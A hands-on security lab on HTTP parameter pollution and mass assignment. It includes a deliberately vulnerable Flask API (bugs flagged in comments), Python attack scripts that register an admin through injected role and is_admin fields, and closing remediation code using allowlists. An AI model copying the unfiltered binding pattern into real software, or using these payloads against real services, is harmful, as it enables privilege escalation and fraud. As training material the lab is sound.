Lab 13: HTTP Parameter Pollution & Mass Assignment
Objective
Exploit two related server-side input handling flaws from Kali Linux:
HTTP Parameter Pollution (HPP) — send duplicate query parameters (role=user&role=admin) and observe which value the server uses
Mass Assignment — POST a JSON body with extra fields (role, is_admin) that the server binds to the user model without filtering
Price tampering — inject price=0.01 into a purchase request to bypass server-side validation
Array injection — send price[]=0&price[]=999 to confuse type-checking logic
Background
Mass assignment vulnerabilities occur when a framework automatically maps request parameters to model fields without an explicit allowlist. HPP exploits ambiguity in how servers handle multiple values for the same parameter.
Real-world examples:
2012 GitHub mass assignment — Egor Homakov used Rails mass assignment to add his SSH key to the Rails organisation repository by POSTing public_key[user_id]=4223 (the Rails org owner's ID). Account takeover of the entire Rails project in one request.
2019 HackerOne report (redacted) — a fintech API bound all JSON fields to the user model; sending {"balance": 99999} in a profile update request credited the attacker's account.
2021 multiple Node.js + Mongoose apps — Mongoose findOneAndUpdate with spread operator: User.findOneAndUpdate(id, {...req.body}) — any field in req.body gets written to the database.
HPP in WAFs — ModSecurity and Cloudflare handle duplicate parameters differently from the backend; HPP can bypass WAF rules targeting the first occurrence of a parameter.
OWASP: A04:2021 Insecure Design, A01:2021 Broken Access Control
Architecture
Time
35 minutes
Lab Instructions
Step 1: Setup
Step 2: Launch Kali + HPP Analysis
Step 3: Mass Assignment — Role Escalation via Register
📸 Verified Output:
Step 4: Mass Assignment — Privilege Escalation via Update
docker network create lab-adv13
cat > /tmp/victim_adv13.py << 'PYEOF'
from flask import Flask, request, jsonify
app = Flask(__name__)
USERS = {}
ORDERS = []
PRODUCTS = {'laptop':{'name':'Surface Pro','price':999.0},'pen':{'name':'Surface Pen','price':49.0}}
@app.route('/api/register', methods=['POST'])
def register():
d = request.get_json() or {}
# BUG: mass assignment — binds all fields from request body to user object
user = {'username':'', 'email':'', 'password':'', 'role':'user', 'is_admin':False}
user.update(d) # attacker-controlled fields overwrite defaults!
USERS[user['username']] = user
return jsonify({k:v for k,v in user.items() if k!='password'})
@app.route('/api/update', methods=['POST'])
def update():
d = request.get_json() or {}
username = d.get('username','')
if username not in USERS: return jsonify({'error':'not found'}),404
# BUG: same pattern — update model with all request fields
USERS[username].update(d)
return jsonify({k:v for k,v in USERS[username].items() if k!='password'})
@app.route('/api/purchase', methods=['POST'])
def purchase():
d = request.get_json() or {}
product = d.get('product','')
qty = int(d.get('quantity',1))
# BUG: trusts client-supplied price over server-side lookup
if 'price' in d:
price = float(d['price']) if not isinstance(d['price'],list) else float(d['price'][0])
elif product in PRODUCTS:
price = PRODUCTS[product]['price']
else:
return jsonify({'error':'unknown product'}),404
total = price * qty
order = {'product':product,'qty':qty,'unit_price':price,'total':total}
ORDERS.append(order)
return jsonify(order)
@app.route('/api/hpp')
def hpp():
# Demonstrates HPP: Flask getlist() returns all values; [0] vs [-1] matters
role_all = request.args.getlist('role')
role_first = request.args.get('role') # returns first
return jsonify({'all_values':role_all,'first_value':role_first,
'server_uses':'first value via request.args.get()',
'note':'Some frameworks use last value — depends on implementation'})
@app.route('/api/users')
def users():
return jsonify([{k:v for k,v in u.items() if k!='password'} for u in USERS.values()])
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
PYEOF
docker run -d --name victim-adv13 --network lab-adv13 \
-v /tmp/victim_adv13.py:/app/victim.py:ro \
zchencow/innozverse-cybersec:latest python3 /app/victim.py
sleep 3
curl -s "http://$(docker inspect -f '{{.NetworkSettings.Networks.lab-adv13.IPAddress}}' victim-adv13):5000/api/hpp?role=user&role=admin"
docker run --rm -it --name kali --network lab-adv13 \
zchencow/innozverse-kali:latest bash
export T="http://victim-adv13:5000"
python3 << 'EOF'
import urllib.request, json
T = "http://victim-adv13:5000"
print("[*] HTTP Parameter Pollution (HPP) analysis:")
print()
# Duplicate params
r = json.loads(urllib.request.urlopen(
f"{T}/api/hpp?role=user&role=admin&role=superadmin").read())
print(f" All values received: {r['all_values']}")
print(f" Flask uses (first): {r['first_value']}")
print()
print(" Framework behaviour comparison:")
print(" Framework | Uses | Vulnerability")
print(" ------------|----------------|--------------------------------")
print(" Flask | first value | Inject before the legit param")
print(" Express.js | last value | Inject after the legit param")
print(" PHP | last value | role=user → inject &role=admin after")
print(" ASP.NET | comma-joined | role=user,admin — may match both")
print(" WAF (ModSec)| first value | WAF sees 'user', backend sees 'admin'")
print()
print("[!] WAF bypass: WAF inspects first 'role=user' (clean), backend uses last 'role=admin'")
EOF
python3 << 'EOF'
import urllib.request, json
T = "http://victim-adv13:5000"
def post(path, data):
req = urllib.request.Request(f"{T}{path}",
data=json.dumps(data).encode(), headers={"Content-Type":"application/json"})
return json.loads(urllib.request.urlopen(req).read())
print("[*] Mass assignment attack via /api/register:")
print()
# Normal registration
r1 = post("/api/register", {"username":"alice","email":"[email protected]","password":"pw123"})
print(f" Normal registration: {r1}")
# Mass assignment: inject role + is_admin
r2 = post("/api/register", {
"username": "attacker",
"email": "[email protected]",
"password": "hack123",
"role": "admin", # ← should not be accepted
"is_admin": True, # ← should not be accepted
"balance": 99999.99, # ← extra field
"verified": True, # ← bypass email verification
})
print(f" Mass assignment: {r2}")
print()
print(f"[!] Attacker registered as role='{r2.get('role')}', is_admin={r2.get('is_admin')}")
# Dump all users
users = json.loads(urllib.request.urlopen(f"{T}/api/users").read())
print(f"\n All users: {[{k:v for k,v in u.items() if k in ['username','role','is_admin']} for u in users]}")
EOF
python3 << 'EOF'
print("[*] Remediation patterns:")
print("""
# UNSAFE: mass assignment
user = {}
user.update(request.get_json()) # binds everything
# SAFE: explicit allowlist
ALLOWED_REGISTER_FIELDS = {'username', 'email', 'password'}
data = request.get_json()
user = {k: data[k] for k in ALLOWED_REGISTER_FIELDS if k in data}
user['role'] = 'user' # force defaults server-side
user['is_admin'] = False
# SAFE: price — always use server-side lookup, never trust client
unit_price = PRODUCTS[product]['price'] # never from request body
total = unit_price * quantity
# SAFE: HPP — be explicit about which occurrence to use
# and validate/normalize before use
role = request.args.get('role', 'user')
if role not in ('user', 'editor'): # allowlist valid values
role = 'user'
""")
EOF
exit